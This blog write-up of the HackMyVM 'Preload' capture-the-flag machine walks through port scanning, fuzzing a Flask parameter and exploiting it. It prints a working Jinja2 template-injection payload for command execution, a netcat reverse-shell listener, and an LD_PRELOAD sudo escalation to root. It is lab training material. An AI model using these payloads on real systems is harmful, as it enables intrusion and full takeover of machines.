Skip to content
Home » Preload – Writeup – HackMyVM – Walkthrough

Preload – Writeup – HackMyVM – Walkthrough

Preload writeup hackmyvm walkthrough security

Preload is an easy machine by my friend avijneyam from the HackMyVM platform. There are only two exploits one need to understand to get to theinitial root of the machine. Also, there are error messages in the web app that help us proceed forward. If you like my writeups, please consider tipping me in Ko-fi. “Preload – Writeup – HackMyVM – Walkthrough”

Link to the machine:

Step 1: Get the IP address

Firstly, we have to identify the IP address of the target machine. For this, both the attacker and the target machine should be on the same network.

└─$ fping -aqg

Here, the IP address of the target is and that of my Kali machine is

Step 2: Nmap scan

Next, we have to scan the open ports on the target using Nmap.

└─$ nmap -T4 -sC -sV -p- -oN nmap.log
Starting Nmap 7.92 ( ) at 2022-01-19 17:45 +0545
Nmap scan report for
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
|   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp   open  http       nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
5000/tcp open  landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here, we can see two HTTP services running on ports 80 and 5000.

Step 3: Enumerate the webserver at port 80

Firstly, I checked port 80 for any hints. The source page revealed the possibility of an SSTI (Server Side Template Injection) attack.

<p>For online documentation and support please refer to
<a href="/?multiply=7*7"></a>.<br/>

If you are familiar with CTF machines, we basically test with number 7 (I don’t know why.) for SSTI. Also, we do this multiplication to check the presence of an SSTI vulnerability. This also gives us an idea that port 5000 might have applications utilizing templating engines. Some examples include jinja2 for python, pug for node.js, thymeleaf for java, etc.

Step 4: Enumerate the webserver at port 5000

When we visit the website at port 5000, it continues loading. However, if we visit it again in a new tab, it shows an error stack trace of a flask app.

 * Serving Flask app 'code' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
Traceback (most recent call last):
  File "/home/paul/", line 18, in <module>"", port=50000)
  File "/usr/local/lib/python3.9/dist-packages/flask/", line 920, in run
    run_simple(t.cast(str, host), port, self, **options)
  File "/usr/local/lib/python3.9/dist-packages/werkzeug/", line 1010, in run_simple
  File "/usr/local/lib/python3.9/dist-packages/werkzeug/", line 950, in inner
    srv = make_server(
  File "/usr/local/lib/python3.9/dist-packages/werkzeug/", line 782, in make_server
    return ThreadedWSGIServer(
  File "/usr/local/lib/python3.9/dist-packages/werkzeug/", line 688, in __init__
    super().__init__(server_address, handler)  # type: ignore
  File "/usr/lib/python3.9/", line 452, in __init__
  File "/usr/lib/python3.9/http/", line 138, in server_bind
  File "/usr/lib/python3.9/", line 466, in server_bind
OSError: [Errno 98] Address already in use

In the end, we can see an error “Address already in use”. This refers to the command at the top ””″, port=50000)”.

We can observe that it opens another port 50000 for a flask application. Also, port 5000 looks like a place from where we can view the logs of port 50000.

Step 5: Check the webserver at port 50000

Instantly, we get an exception at the running port 5000 when we visit port 50000.

[2022-01-19 07:13:45,929] ERROR in app: Exception on / [GET]
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/flask/", line 2073, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.9/dist-packages/flask/", line 1518, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.9/dist-packages/flask/", line 1516, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.9/dist-packages/flask/", line 1502, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/home/paul/", line 10, in _
    result = render_template_string(_get)
  File "/usr/local/lib/python3.9/dist-packages/flask/", line 165, in render_template_string
    return _render(, context,
  File "/usr/local/lib/python3.9/dist-packages/jinja2/", line 1092, in from_string
    return cls.from_code(self, self.compile(source), gs, None)
  File "/usr/local/lib/python3.9/dist-packages/jinja2/", line 750, in compile
    source = self._generate(source, name, filename, defer_init=defer_init)
  File "/usr/local/lib/python3.9/dist-packages/jinja2/", line 678, in _generate
    return generate(  # type: ignore
  File "/usr/local/lib/python3.9/dist-packages/jinja2/", line 112, in generate
    raise TypeError("Can't compile non template nodes")
TypeError: Can't compile non template nodes

If you look at the stack trace properly, there is a line that shows from where this error originated in the file.

File "/home/paul/", line 10, in _
    result = render_template_string(_get)

The above line gave us hints about the username of the target machine. Likewise, _get looks like a variable that would hold a GET parameter. So, we can proceed to fuzz the parameters.

Step 6: Fuzz GET parameter

└─$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u '' 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3

 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405

cmd                     [Status: 200, Size: 8, Words: 1, Lines: 1]

Here, we can see that “cmd” is the GET parameter that returns the input to the user.{{7*7}}

-> 49

When we open the website as above, it returns the calculated value indicating SSTI.

Step 7: Reverse shell using SSTI

Now, the final step to foothold is to spawn a reverse shell. For this, I listen at port 9001.

└─$ nc -nlvp 9001                             
Ncat: Version 7.92 ( )
Ncat: Listening on :::9001
Ncat: Listening on

The main this is the payload in this exploit. In payload all the things, there are many payloads.

The first one allows us to execute any commands from another GET parameter “input”. Obviously, we have to URL encode the whole thing. So, I suggest using the burp suite for this matter.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
The remote command execution

Finally, for my case, I have to enter the following site for the reverse shell.


This gave me the reverse shell.

└─$ nc -nlvp 9001                             
Ncat: Version 7.92 ( )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (317): Inappropriate ioctl for device
bash: no job control in this shell

Lastly, I upgraded the reverse shell.

Upgrade to an intelligent reverse shell

Step 8: Sudo environment misconfiguration

paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail, /usr/bin/head, /usr/bin/ss

When we look at the sudo permissions, there is a configuration “env_keep+=LD_PRELOAD”. This means that whatever is in the variable “LD_PRELOAD” of the current user, will be preserved for the sudo command. The following post clearly explains the feature or exploit whatever you like to say.


#include <stdlib.h>
#include <unistd.h>

void _init() {

I saved this file as “exploit.c”. Then, I compiled this as follows.

paul@preload:/tmp$ gcc -fPIC -shared -o exploit.c -nostartfiles

Lastly, I executed the sudo exploit.

paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/ ss
root@preload:/tmp# cd
root@preload:~# id
uid=0(root) gid=0(root) groups=0(root)
root@preload:~# echo; md5sum /etc/shadow
65b6c51865ff1d93ed67c45d50680a41  /etc/shadow

Also read: Writeup of Pwned HackMyVM – Walkthrough

5 2 votes
Article Rating
Notify of
Inline Feedbacks
View all comments